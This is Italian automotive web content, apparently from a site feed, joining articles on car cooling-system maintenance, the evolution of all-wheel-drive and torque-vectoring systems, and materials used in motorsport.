<p class="wp-block-paragraph">Ogni 5-6 anni è necessario effettuare il lavaggio completo del circuito, operazione nota come <strong>Flushing</strong>. Questo processo elimina i depositi che possono ostruire i micro-condotti dei radiatori moderni, dello scambiatore del turbo o del sistema di raffreddamento batterie. Questi componenti sono estremamente sensibili, specialmente nei motori attuali dove il monoblocco è spesso in alluminio anziché in ghisa.</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="798" height="525" src="https://www.giornalemotori.com/wp-content/uploads//2026/01/002_mp_tw_customresolution.jpg" alt="002 mp tw customresolution" class="wp-image-168276" style="width:912px;height:auto" title="Sistema di raffreddamento, Principi generali composizione funzionamento 39" srcset="https://www.giornalemotori.com/wp-content/uploads/2026/01/002_mp_tw_customresolution.jpg 798w, https://www.giornalemotori.com/wp-content/uploads/2026/01/002_mp_tw_customresolution-768x505.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2026/01/002_mp_tw_customresolution-300x197.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2026/01/002_mp_tw_customresolution-696x458.jpg 696w" sizes="(max-width: 798px) 100vw, 798px" /><figcaption>Sistema di raffreddamento, Principi generali composizione funzionamento 53</figcaption></figure>



<h3 class="wp-block-heading">Monitorare la Pompa Elettrica: segnali e comportamenti</h3>



<p class="wp-block-paragraph">A differenza delle pompe meccaniche, che avvisano con perdite visibili o rumori metallici di cuscinetti, la <strong>pompa elettrica</strong> richiede un&#8217;osservazione più attenta. Un segnale chiave è il comportamento della ventola dopo lo spegnimento: le pompe elettriche continuano a far circolare il liquido per raffreddare turbo o batterie a motore spento. Se, dopo una guida intensa, avvertite la ventola girare alla massima velocità per un tempo insolitamente lungo, o al contrario notate un silenzio assoluto dove prima sentivate un ronzio, potrebbe esserci un errore di comunicazione con la centralina.</p>



<h3 class="wp-block-heading">Diagnostica digitale e indicatori di temperatura</h3>



<p class="wp-block-paragraph">Se la vettura è dotata di un indicatore di temperatura digitale, prestate attenzione a oscillazioni irregolari: se la temperatura sale e scende senza stabilizzarsi al centro della scala, la pompa potrebbe avere un guasto elettronico intermittente. Tuttavia, molti guasti non attivano immediatamente la spia rossa; per questo è fondamentale richiedere una <strong>scansione dei codici errore</strong> della centralina durante ogni cambio olio o manutenzione ordinaria.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="944" height="239" src="https://www.giornalemotori.com/wp-content/uploads//2026/01/3.3_2.f7ef362f.jpg" alt="3.3 2.f7ef362f" class="wp-image-168277" title="Sistema di raffreddamento, Principi generali composizione funzionamento 40" srcset="https://www.giornalemotori.com/wp-content/uploads/2026/01/3.3_2.f7ef362f.jpg 944w, https://www.giornalemotori.com/wp-content/uploads/2026/01/3.3_2.f7ef362f-768x194.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2026/01/3.3_2.f7ef362f-300x76.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2026/01/3.3_2.f7ef362f-696x176.jpg 696w" sizes="(max-width: 944px) 100vw, 944px" /><figcaption>Sistema di raffreddamento, Principi generali composizione funzionamento 54</figcaption></figure>



<h3 class="wp-block-heading">Segnali acustici e cavitazione</h3>



<p class="wp-block-paragraph">È possibile identificare anomalie anche a orecchio. Con il motore al minimo, o in modalità solo elettrica per le ibride, un ronzio troppo acuto o un rumore simile a piccoli sassi che scorrono in un tubo possono indicare che la pompa sta lavorando sotto sforzo o che è presente aria nel circuito (fenomeno della cavitazione).</p>



<h3 class="wp-block-heading">La regola d&#8217;oro per turbo e ibridi: il &#8220;Cool-down&#8221;</h3>



<p class="wp-block-paragraph">Un&#8217;avvertenza fondamentale per la longevità: dopo un tratto autostradale o una salita impegnativa, <strong>non spegnete mai il motore immediatamente</strong>. Anche se il sistema è dotato di pompe elettriche, lasciare il motore al minimo per 30-60 secondi permette alle temperature di stabilizzarsi in modo naturale, riducendo drasticamente lo stress termico sui componenti elettronici e sull&#8217;alberino del turbo.</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="640" height="383" src="https://www.giornalemotori.com/wp-content/uploads//2026/01/6527707149-436f543339-z.jpg" alt="6527707149 436f543339 z" class="wp-image-168278" style="width:912px;height:auto" title="Sistema di raffreddamento, Principi generali composizione funzionamento 41" srcset="https://www.giornalemotori.com/wp-content/uploads/2026/01/6527707149-436f543339-z.jpg 640w, https://www.giornalemotori.com/wp-content/uploads/2026/01/6527707149-436f543339-z-300x180.jpg 300w" sizes="(max-width: 640px) 100vw, 640px" /><figcaption>Sistema di raffreddamento, Principi generali composizione funzionamento 55</figcaption></figure>



<h3 class="wp-block-heading">Le conseguenze del surriscaldamento moderno</h3>



<p class="wp-block-paragraph">Oggi, un surriscaldamento non significa solo &#8220;bruciare la guarnizione della testata&#8221;. I danni collaterali possono includere la cottura dei cablaggi ad alta tensione nelle ibride, il degrado accelerato e definitivo delle celle della batteria o la rottura per shock termico del turbocompressore.</p>



<h3 class="wp-block-heading">Una serie di consigli per un controllo dell&#8217;efficienza del sistema: Vaso di Espansione</h3>



<p class="wp-block-paragraph">Verificate che il livello del liquido sia compreso tra le tacche <strong>MIN</strong> e <strong>MAX</strong> riportate sul serbatoio semitrasparente. Se notate che il livello scende costantemente tra un controllo e l&#8217;altro, è presente una micro-perdita che richiede un&#8217;ispezione in officina: il semplice rabbocco non risolve il problema.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="768" height="1024" src="https://www.giornalemotori.com/wp-content/uploads//2026/01/wgti7yazukkb1-768x1024.jpg" alt="wgti7yazukkb1" class="wp-image-168279" title="Sistema di raffreddamento, Principi generali composizione funzionamento 42" srcset="https://www.giornalemotori.com/wp-content/uploads/2026/01/wgti7yazukkb1-768x1024.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2026/01/wgti7yazukkb1-300x400.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2026/01/wgti7yazukkb1-696x928.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2026/01/wgti7yazukkb1.jpg 1440w" sizes="(max-width: 768px) 100vw, 768px" /><figcaption>Sistema di raffreddamento, Principi generali composizione funzionamento 56</figcaption></figure>



<h3 class="wp-block-heading">Analisi visiva del liquido</h3>



<p class="wp-block-paragraph">Il colore deve essere vivido (rosa, blu o verde fluo a seconda delle specifiche). Se il liquido appare <strong>marrone, torbido</strong> o presenta tracce simili a <strong>maionese</strong> (schiuma biancastra), significa che c&#8217;è una contaminazione con l&#8217;olio lubrificante o una forte acidità. È un grave campanello d&#8217;allarme. Ispezione di giunzioni e tubazioni</p>



<p class="wp-block-paragraph">Seguite visivamente i tubi di gomma dal radiatore al motore. Cercate incrostazioni o polverine colorate in corrispondenza delle fascette stringitubo: indicano perdite che evaporano col calore, segnali premonitori di una rottura imminente. Al tatto, i tubi devono essere flessibili ma sodi; se scricchiolano o risultano appiccicosi, la gomma sta cedendo.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" src="https://www.giornalemotori.com/wp-content/uploads//2026/01/pulire-il-radiatore-dellauto-1024x683.jpg" alt="pulire il radiatore dellauto" class="wp-image-168280" title="Sistema di raffreddamento, Principi generali composizione funzionamento 43" srcset="https://www.giornalemotori.com/wp-content/uploads/2026/01/pulire-il-radiatore-dellauto-1024x683.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2026/01/pulire-il-radiatore-dellauto-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2026/01/pulire-il-radiatore-dellauto-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2026/01/pulire-il-radiatore-dellauto-696x464.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2026/01/pulire-il-radiatore-dellauto.jpg 1920w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Sistema di raffreddamento, Principi generali composizione funzionamento 57</figcaption></figure>



<h3 class="wp-block-heading">Manutenzione della massa radiante e paratie</h3>



<p class="wp-block-paragraph">Assicuratevi che le prese d&#8217;aria e le paratie mobili siano libere da foglie, fango o insetti. Un radiatore intasato esternamente costringe la ventola e la pompa elettrica a lavorare fino al triplo dello sforzo normale, riducendone drasticamente la vita utile.</p>



<h3 class="wp-block-heading">Perdite a terra e analisi olfattiva</h3>



<p class="wp-block-paragraph">Verificate l&#8217;eventuale presenza di macchie viscide sotto l&#8217;auto dopo il parcheggio (da non confondere con l&#8217;acqua incolore della condensa del clima). Infine, usate l&#8217;olfatto: se a motore caldo sentite un <strong>odore dolciastro</strong> simile a zucchero filato o caramello, il glicole sta evaporando da una micro-perdita nel sistema.</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="650" height="450" src="https://www.giornalemotori.com/wp-content/uploads//2026/01/TURN_00012.jpg" alt="TURN 00012" class="wp-image-168281" style="width:866px;height:auto" title="Sistema di raffreddamento, Principi generali composizione funzionamento 44" srcset="https://www.giornalemotori.com/wp-content/uploads/2026/01/TURN_00012.jpg 650w, https://www.giornalemotori.com/wp-content/uploads/2026/01/TURN_00012-300x208.jpg 300w" sizes="(max-width: 650px) 100vw, 650px" /><figcaption>Sistema di raffreddamento, Principi generali composizione funzionamento 58</figcaption></figure>



<h3 class="wp-block-heading">Specifiche per veicoli ibridi</h3>



<p class="wp-block-paragraph">Molte auto ibride dispongono di <strong>due vaschette di espansione</strong> separate. È fondamentale controllare entrambi i circuiti (quello termico e quello dedicato alle batterie/inverter), poiché operano in modo indipendente ma sono ugualmente vitali per la salute della vettura.</p>
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		<title>L&#8217;Evoluzione dei Sistemi di Trazione Integrale: Dalla Meccanica al Torque Vectoring</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Mon, 22 Dec 2025 07:59:19 +0000</pubDate>
				<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Ultimi articoli]]></category>
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					<description><![CDATA[<p>Storicamente, l&#8217;industria automobilistica ha risposto alla necessità di sviluppare veicoli &#8220;all-terrain&#8221; capaci di operare su ogni superficie. L&#8217;obiettivo non è solo l&#8217;accesso a percorsi impervi, ma anche l&#8217;incremento della sicurezza attiva in condizioni critiche come pioggia, ghiaccio e neve. I sistemi a quattro ruote motrici (identificati dalle sigle 4&#215;4, 4WD o AWD) garantiscono la motricità [&#8230;]</p>
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										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Storicamente, l&#8217;industria automobilistica ha risposto alla necessità di sviluppare veicoli &#8220;all-terrain&#8221; capaci di operare su ogni superficie. L&#8217;obiettivo non è solo l&#8217;accesso a percorsi impervi, ma anche l&#8217;incremento della sicurezza attiva in condizioni critiche come pioggia, ghiaccio e neve. I sistemi a quattro ruote motrici (identificati dalle sigle 4&#215;4, 4WD o AWD) garantiscono la motricità necessaria, sebbene utilizzino architetture tecniche profondamente diverse tra loro.</p>



<h3 class="wp-block-heading">Il Ruolo Centrale del Differenziale</h3>



<p class="wp-block-paragraph">In un sistema di trazione integrale, l&#8217;elemento cardine è il <strong>differenziale centrale</strong>. Mentre ogni assale possiede un proprio differenziale dedicato per ripartire la coppia tra le ruote dello stesso asse, il differenziale centrale assolve il compito di distribuire la forza motrice tra l&#8217;asse anteriore e quello posteriore. Questo componente permette ai due assi di ruotare a velocità differenti, una condizione indispensabile per evitare tensioni meccaniche durante la percorrenza di una curva su fondi ad alta aderenza.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" src="https://www.giornalemotori.com/wp-content/uploads//2025/12/31-1024x683.jpg" alt="31" class="wp-image-167852" title="L&#039;Evoluzione dei Sistemi di Trazione Integrale: Dalla Meccanica al Torque Vectoring 59" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/12/31-1024x683.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2025/12/31-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2025/12/31-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2025/12/31-696x464.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2025/12/31.jpg 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>L'Evoluzione dei Sistemi di Trazione Integrale: Dalla Meccanica al Torque Vectoring 67</figcaption></figure>



<h3 class="wp-block-heading">Sistemi a Inserimento Meccanico e Collegamento Rigido</h3>



<p class="wp-block-paragraph">Le soluzioni primordiali prevedevano un collegamento meccanico diretto tramite lo scorrimento di un manicotto. Questa configurazione è tipica delle vetture con motore anteriore longitudinale e trazione posteriore prevalente. In questo schema, a valle del cambio, viene installato un ripartitore che rinvia il moto all&#8217;assale anteriore. Attraverso una leva manuale o un attuatore elettroidraulico, il manicotto vincola rigidamente i due assali. Sebbene garantisca la massima trazione su fondi non asfaltati, questo sistema non permette una differenziazione di velocità tra gli assi, rendendolo inadatto all&#8217;uso su asfalto asciutto. È la tecnologia robusta che ha reso celebri le Jeep nate per scopi militari e i fuoristrada &#8220;puri&#8221;.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="723" src="https://www.giornalemotori.com/wp-content/uploads//2025/12/Immagine-WhatsApp-2025-12-21-ore-09.43.25_e118046b-1024x723.jpg" alt="Immagine WhatsApp 2025 12 21 ore 09.43.25 e118046b" class="wp-image-167853" title="L&#039;Evoluzione dei Sistemi di Trazione Integrale: Dalla Meccanica al Torque Vectoring 60" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/12/Immagine-WhatsApp-2025-12-21-ore-09.43.25_e118046b-1024x723.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2025/12/Immagine-WhatsApp-2025-12-21-ore-09.43.25_e118046b-768x542.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2025/12/Immagine-WhatsApp-2025-12-21-ore-09.43.25_e118046b-300x212.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2025/12/Immagine-WhatsApp-2025-12-21-ore-09.43.25_e118046b-696x491.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2025/12/Immagine-WhatsApp-2025-12-21-ore-09.43.25_e118046b.jpg 1880w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>L'Evoluzione dei Sistemi di Trazione Integrale: Dalla Meccanica al Torque Vectoring 68</figcaption></figure>



<h3 class="wp-block-heading">Il Cuore dell&#8217;Ingegneria Meccanica: Il Differenziale Torsen</h3>



<p class="wp-block-paragraph">Tra i sistemi di gestione della coppia più raffinati spicca il <strong>Torsen</strong> (termine derivato da <em>Torque Sensing</em>, ovvero sensibile alla coppia). A differenza dei differenziali tradizionali, il Torsen sfrutta il principio della vite senza fine per distribuire la potenza.</p>



<p class="wp-block-paragraph">Quando una ruota o un asse perde aderenza, l&#8217;attrito interno tra gli ingranaggi elicoidali impedisce alla coppia di incrementare verso la ruota che slitta. Il sistema così concepito è intrinsecamente autobloccante. Il Torsen, quindi nasce come elemento totalmente meccanico e istantaneo; non attende lo slittamento per intervenire, ma ripartisce la coppia continuamente in base alla resistenza offerta dal terreno. </p>



<p class="wp-block-paragraph">Questo sistema garantisce una fluidità di marcia migliore e una sensazione di maggiore connessione con la strada. Questo sistema nacque per necessità di essere competitivi nel mondo dei rally debuttando sulle Audi &#8220;Quattro&#8221; a motore longitudinale, poi diventato un vero marchio di fabbrica della casa degli anelli fino al giorno d&#8217;oggi </p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="575" src="https://www.giornalemotori.com/wp-content/uploads//2025/12/torsen_differential__large-1024x575.jpg" alt="torsen differential large" class="wp-image-167855" title="L&#039;Evoluzione dei Sistemi di Trazione Integrale: Dalla Meccanica al Torque Vectoring 61" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/12/torsen_differential__large-1024x575.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2025/12/torsen_differential__large-768x432.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2025/12/torsen_differential__large-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2025/12/torsen_differential__large-696x391.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2025/12/torsen_differential__large.jpg 1180w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>L'Evoluzione dei Sistemi di Trazione Integrale: Dalla Meccanica al Torque Vectoring 69</figcaption></figure>



<h3 class="wp-block-heading">L&#8217;Innovazione Subaru: Symmetrical AWD</h3>



<p class="wp-block-paragraph">La spinta definitiva all&#8217;evoluzione della trazione integrale è arrivata dalle competizioni nei primi anni &#8217;80, ma è Subaru ad aver definito una filosofia costruttiva unica: la <strong>Symmetrical AWD</strong>. L&#8217;obiettivo dei tecnici giapponesi era ottenere una distribuzione della coppia perfettamente simmetrica e un bilanciamento dei pesi ottimale. Attraverso complessi schemi di ingranaggi planetari e satellitari disposti longitudinalmente, Subaru ha reso i due assali interdipendenti in modo costante. Evoluzioni successive, come sulla Subaru SVX del 1991, hanno introdotto leggere asimmetrie nel numero di denti degli ingranaggi per privilegiare la trazione sull&#8217;asse posteriore, mantenendo però la proverbiale stabilità del sistema.</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="328" height="154" src="https://www.giornalemotori.com/wp-content/uploads//2025/12/images-1.jpeg" alt="images 1" class="wp-image-167854" style="width:859px;height:auto" title="L&#039;Evoluzione dei Sistemi di Trazione Integrale: Dalla Meccanica al Torque Vectoring 62" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/12/images-1.jpeg 328w, https://www.giornalemotori.com/wp-content/uploads/2025/12/images-1-300x141.jpeg 300w" sizes="(max-width: 328px) 100vw, 328px" /><figcaption>L'Evoluzione dei Sistemi di Trazione Integrale: Dalla Meccanica al Torque Vectoring 70</figcaption></figure>



<h3 class="wp-block-heading">Sistemi a Gestione Viscosa e Controllo Attivo</h3>



<p class="wp-block-paragraph">Per variare la ripartizione della coppia tra i due assi in modo continuo e più dolce, vengono utilizzati elementi viscosi che attraverso la presenza di pacchi frizione lamellari immersi in un fluido siliconico traferiscono la coppia. Il sistema <strong>Ferguson</strong> o in genere chiamato giunto viscoso sfrutta la resistenza del fluido per trasmettere il moto. In varianti più evolute, come il sistema <strong>ATTESA</strong> di Nissan o il <strong>DCCD</strong> di Subaru, l&#8217;elettronica interviene che un comando elettro meccanico interviene su questi pacchi frizione tramite attuatori variandone la capacità di trasmettere coppia. Nel caso di Subaru, permette al conducente di variare manualmente o la percentuale di coppia tra gli assi, passando da una guida votata al comfort a una configurazione prettamente sportiva con prevalenza posteriore.</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="600" height="564" src="https://www.giornalemotori.com/wp-content/uploads//2025/12/w600_m1_yichecar_41b6efaec8694fd89d4909ab115c99d5.jpeg.webp" alt="w600 m1 yichecar 41b6efaec8694fd89d4909ab115c99d5.jpeg" class="wp-image-167856" style="width:912px;height:auto" title="L&#039;Evoluzione dei Sistemi di Trazione Integrale: Dalla Meccanica al Torque Vectoring 63" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/12/w600_m1_yichecar_41b6efaec8694fd89d4909ab115c99d5.jpeg.webp 600w, https://www.giornalemotori.com/wp-content/uploads/2025/12/w600_m1_yichecar_41b6efaec8694fd89d4909ab115c99d5.jpeg-300x282.webp 300w" sizes="(max-width: 600px) 100vw, 600px" /><figcaption>L'Evoluzione dei Sistemi di Trazione Integrale: Dalla Meccanica al Torque Vectoring 71</figcaption></figure>



<h3 class="wp-block-heading">La Nuova Frontiera: Trazione Elettrica e Torque Vectoring</h3>



<p class="wp-block-paragraph">L&#8217;ultima frontiera è l&#8217;eliminazione del collegamento meccanico (albero di trasmissione) tra i due assi, sostituito da unità elettriche indipendenti. Questa tecnologia introduce il concetto avanzato di <strong>Torque Vectoring</strong> (vettorizzazione della coppia).  Costruttori come Toyota e Lexus utilizzano questa soluzione per attivare la trazione integrale solo quando necessario (ad esempio in partenza o su fondi scivolosi), riducendo drasticamente i consumi rispetto ai sistemi AWD permanenti.</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="735" height="426" src="https://www.giornalemotori.com/wp-content/uploads//2025/12/capture1565722777114.png" alt="capture1565722777114" class="wp-image-167859" style="width:912px;height:auto" title="L&#039;Evoluzione dei Sistemi di Trazione Integrale: Dalla Meccanica al Torque Vectoring 64" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/12/capture1565722777114.png 735w, https://www.giornalemotori.com/wp-content/uploads/2025/12/capture1565722777114-300x174.png 300w, https://www.giornalemotori.com/wp-content/uploads/2025/12/capture1565722777114-696x403.png 696w" sizes="(max-width: 735px) 100vw, 735px" /><figcaption>L'Evoluzione dei Sistemi di Trazione Integrale: Dalla Meccanica al Torque Vectoring 72</figcaption></figure>



<p class="wp-block-paragraph">Un esempio di come questa soluzioni si adatti anche alle alte prestazioni è la soluzione usata da Honda per la NSX o in modo più semplice dalla Ferrari con la 296 GTB. Nel primo coso vengono utilizzati due motori elettrici posti sull&#8217;asse anteriore erogando livelli di coppia differenti tra la ruota destra e quella sinistra in tempo reale. Mentre nel caso di Ferrari il motore elettrico agisce su un differenziale tradizionale per gestire la differenza di coppia. </p>



<p class="wp-block-paragraph">Nel caso della NS-X durante una svolta, il sistema invia più coppia alla ruota esterna e può applicare una coppia frenante (recupero energetico) a quella interna. Questo crea un &#8220;momento di imbardata&#8221; che aiuta l&#8217;auto a curvare con una rapidità e una precisione impossibili per un sistema meccanico tradizionale.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="1024" height="1024" src="https://www.giornalemotori.com/wp-content/uploads//2025/12/unnamed.jpg" alt="unnamed" class="wp-image-167857" title="L&#039;Evoluzione dei Sistemi di Trazione Integrale: Dalla Meccanica al Torque Vectoring 65" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/12/unnamed.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2025/12/unnamed-150x150.jpg 150w, https://www.giornalemotori.com/wp-content/uploads/2025/12/unnamed-768x768.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2025/12/unnamed-300x300.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2025/12/unnamed-696x696.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>L'Evoluzione dei Sistemi di Trazione Integrale: Dalla Meccanica al Torque Vectoring 73</figcaption></figure>



<h3 class="wp-block-heading">Confronto Tecnico: Torsen vs. Torque Vectoring Elettrico</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td>Caratteristica</td><td>Differenziale Torsen</td><td>Torque Vectoring Elettrico (es. su un assale)</td></tr></thead><tbody><tr><td><strong>Principio di Funz.</strong></td><td>Meccanico, attrito tra ingranaggi elicoidali</td><td>Elettrico, motori indipendenti per ogni ruota</td></tr><tr><td><strong>Velocità di Risposta</strong></td><td>Istantanea, passiva (reagisce alla coppia)</td><td>Rapidissima, attiva (prevede e agisce)</td></tr><tr><td><strong>Controllo Coppia</strong></td><td>Ripartizione fissa basata sul <em>Torque Bias Ratio</em></td><td>Completamente variabile e indipendente per ogni ruota</td></tr><tr><td><strong>Peso e Ingombro</strong></td><td>Moderato, componente robusto nell&#8217;architettura</td><td>Potenzialmente inferiore (meno componenti meccanici)</td></tr><tr><td><strong>Flessibilità Dinamica</strong></td><td>Aumenta la trazione, migliora la stabilità</td><td>Estremamente elevata, modifica attivamente la traiettoria</td></tr><tr><td><strong>Efficienza Energetica</strong></td><td>Discreto (perdite per attrito interno)</td><td>Eccellente (gestione on-demand, recupero energetico)</td></tr><tr><td><strong>Complessità</strong></td><td>Alta precisione meccanica, no elettronica di controllo</td><td>Motori elettrici, elettronica di potenza, software avanzato</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Il <strong>Torsen</strong>, in sostanza, Eccelle nella robustezza e nell&#8217;affidabilità. Offre un feeling di guida molto diretto e prevedibile, essendo sempre &#8220;attivo&#8221; nella sua ripartizione. Il suo limite è l&#8217;incapacità di generare attivamente un momento di imbardata, potendo solo ridistribuire la coppia già presente. Alcuni costruttori, come Europei, Audi con la trazione Quattro, oppure Mercedes con la trasmissione 4Matic attraverso una frizione Haldex più semplice nel suo funzionamento  adottano ancora sistemi di trasmissione meccanici. Anche i Giapponesi come Honda, Mazda, Subaru con AWD e Suzuki 4wd con PTU di controllo usano la trazione meccanica per la gestione della trazione sulle ruote, imitati anche dalla coppia coreana di Kia/Hyundai. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="1024" src="https://www.giornalemotori.com/wp-content/uploads//2025/12/nissan-presenta-la-trazione-integrale-elettrica-e-4orce-1024x1024.webp" alt="nissan presenta la trazione integrale elettrica e 4orce" class="wp-image-167860" title="L&#039;Evoluzione dei Sistemi di Trazione Integrale: Dalla Meccanica al Torque Vectoring 66" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/12/nissan-presenta-la-trazione-integrale-elettrica-e-4orce-1024x1024.webp 1024w, https://www.giornalemotori.com/wp-content/uploads/2025/12/nissan-presenta-la-trazione-integrale-elettrica-e-4orce-150x150.webp 150w, https://www.giornalemotori.com/wp-content/uploads/2025/12/nissan-presenta-la-trazione-integrale-elettrica-e-4orce-768x768.webp 768w, https://www.giornalemotori.com/wp-content/uploads/2025/12/nissan-presenta-la-trazione-integrale-elettrica-e-4orce-300x300.webp 300w, https://www.giornalemotori.com/wp-content/uploads/2025/12/nissan-presenta-la-trazione-integrale-elettrica-e-4orce-696x696.webp 696w, https://www.giornalemotori.com/wp-content/uploads/2025/12/nissan-presenta-la-trazione-integrale-elettrica-e-4orce.webp 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>L'Evoluzione dei Sistemi di Trazione Integrale: Dalla Meccanica al Torque Vectoring 74</figcaption></figure>



<p class="wp-block-paragraph">Il <strong>Torque Vectoring Elettrico</strong>, di contro, rappresenta la massima evoluzione in termini di dinamica veicolo. Consente un controllo chirurgico della trazione, migliorando non solo l&#8217;aderenza ma anche la manovrabilità e l&#8217;agilità, soprattutto in curva. Il suo vantaggio è la capacità di generare coppia o applicare frenata su singole ruote, manipolando attivamente il comportamento del veicolo. Le case automobilistiche, come Toyota, Nissan, Mitsubishi usano ormai un motore elettrico posto sull&#8217;asse posteriore per la gestione della trazione. Anche costruttori europei come Volvo e americani come Jeep usano per la trazione integrale interi sistemi di trazione elettrica per l&#8217;assale posteriore. </p>



<p class="wp-block-paragraph">Il futuro è sempre più elettrificato, quindi il futuro della trazione integrale passa per la gestione della potenza derivante dai motori elettrici sui due assali in modo varabile e gestita elettronicamente. Ad aggi anche un costruttore estremamente conservatore come Subaru adottando due motori elettrici di uguale potenza per i due assali riesce a garantire la perfetta trazione simmetrica per ogni ruota anche abbracciando la mobilità elettrica. </p>
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		<title>Dietro la velocità: I materiali che fanno la differenza in pista</title>
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		<dc:creator><![CDATA[Alessio Mazzocco]]></dc:creator>
		<pubDate>Fri, 19 Dec 2025 00:19:00 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>La Formula 1, la MotoGP, la Formula E e le gare di Endurance sono molto più che semplici competizioni di velocità. Sono laboratori estremi in cui l&#8217;ingegneria dei materiali e la logistica di precisione si fondono per strappare millisecondi al cronometro e garantire l&#8217;affidabilità sotto sforzi inimmaginabili. Dietro i ruggenti motori e le aerodinamiche affilate, [&#8230;]</p>
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<p class="wp-block-paragraph">La Formula 1, la MotoGP, la Formula E e le gare di Endurance sono molto più che semplici competizioni di velocità. Sono laboratori estremi in cui l&#8217;ingegneria dei materiali e la logistica di precisione si fondono per strappare millisecondi al cronometro e garantire l&#8217;affidabilità sotto sforzi inimmaginabili. Dietro i ruggenti motori e le aerodinamiche affilate, c&#8217;è una &#8220;danza invisibile&#8221; di componenti che determina il successo: la gestione del peso, la resistenza al calore e, in ultima analisi, l&#8217;efficienza complessiva.</p>



<h2 class="wp-block-heading"><a></a><strong>La fibra di carbonio: Il re indiscusso</strong></h2>



<p class="wp-block-paragraph">Quando si parla di alta velocità, è impossibile non menzionare la fibra di carbonio. Dalle scocche delle monoposto di F1 ai telai delle moto da Gran Premio, questo materiale offre un rapporto resistenza-peso semplicemente ineguagliabile.</p>



<p class="wp-block-paragraph">La sua diffusione non è casuale. Un telaio in carbonio è incredibilmente rigido, il che è vitale per mantenere la geometria delle sospensioni costante, garantendo al pilota un <em>feeling</em> preciso. Allo stesso tempo, la sua leggerezza contribuisce in modo significativo a raggiungere il peso minimo regolamentare, permettendo ai team di posizionare la zavorra in modo strategico per ottimizzare il bilanciamento. Questo equilibrio, tuttavia, non si limita solo alla struttura principale.</p>



<h2 class="wp-block-heading"><a></a><strong>Dalla pista alla strada: I materiali che cambiano le regole del gioco</strong></h2>



<p class="wp-block-paragraph">Le innovazioni sviluppate nelle competizioni d&#8217;élite non rimangono confinate ai <em>paddock</em>. Il trasferimento tecnologico è una delle ragioni principali per cui le case automobilistiche investono miliardi nello sport motoristico.</p>



<p class="wp-block-paragraph">Basti pensare ai freni carbo-ceramici, nati per resistere alle temperature estreme della F1 e dell&#8217;Endurance, e ora disponibili su molte <em>supercar</em> e persino su alcune auto di serie ad alte prestazioni. Questi materiali garantiscono una potenza frenante costante e una resistenza al <em>fading</em> (l&#8217;affaticamento da calore) impensabile con i tradizionali dischi in acciaio. Anche l&#8217;evoluzione delle leghe metalliche per i motori, capaci di resistere a pressioni e temperature sempre maggiori, ha un impatto diretto sulla durabilità e sull&#8217;efficienza dei propulsori stradali moderni, incluse le nuove frontiere dell&#8217;ibrido e dell&#8217;elettrico.</p>



<h2 class="wp-block-heading"><a></a><strong>Precisione al millimetro: L&#8217;importanza della catena logistica e produttiva</strong></h2>



<p class="wp-block-paragraph">Per quanto sofisticati siano i materiali, la loro integrità e performance dipendono interamente dalla precisione del processo produttivo che li ha generati. Nel mondo delle corse, dove un difetto di un millimetro può causare un ritiro, la gestione della produzione è un&#8217;arte.</p>



